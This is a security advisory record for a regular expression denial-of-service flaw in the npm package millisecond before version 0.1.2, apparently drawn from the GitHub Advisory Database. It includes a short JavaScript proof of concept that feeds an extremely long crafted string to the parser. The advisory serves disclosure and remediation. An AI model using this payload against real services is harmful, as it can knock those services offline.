Advisory

GHSA-m489-xr35-fjxr

Also known as: None

Summary

Regular Expression Denial of Service in millisecond

Details

Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of concept

var ms = require('millisecond');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Recommendation

Update to version 0.1.2 or later.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2021-09-22 20:35 UTC
Modified
2021-09-22 20:34 UTC

Affected packages and fixes

millisecond

npm · All systems

Affected

  • introduced 0, fixed 0.1.2 (semver)

Fixed versions

0.1.2

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences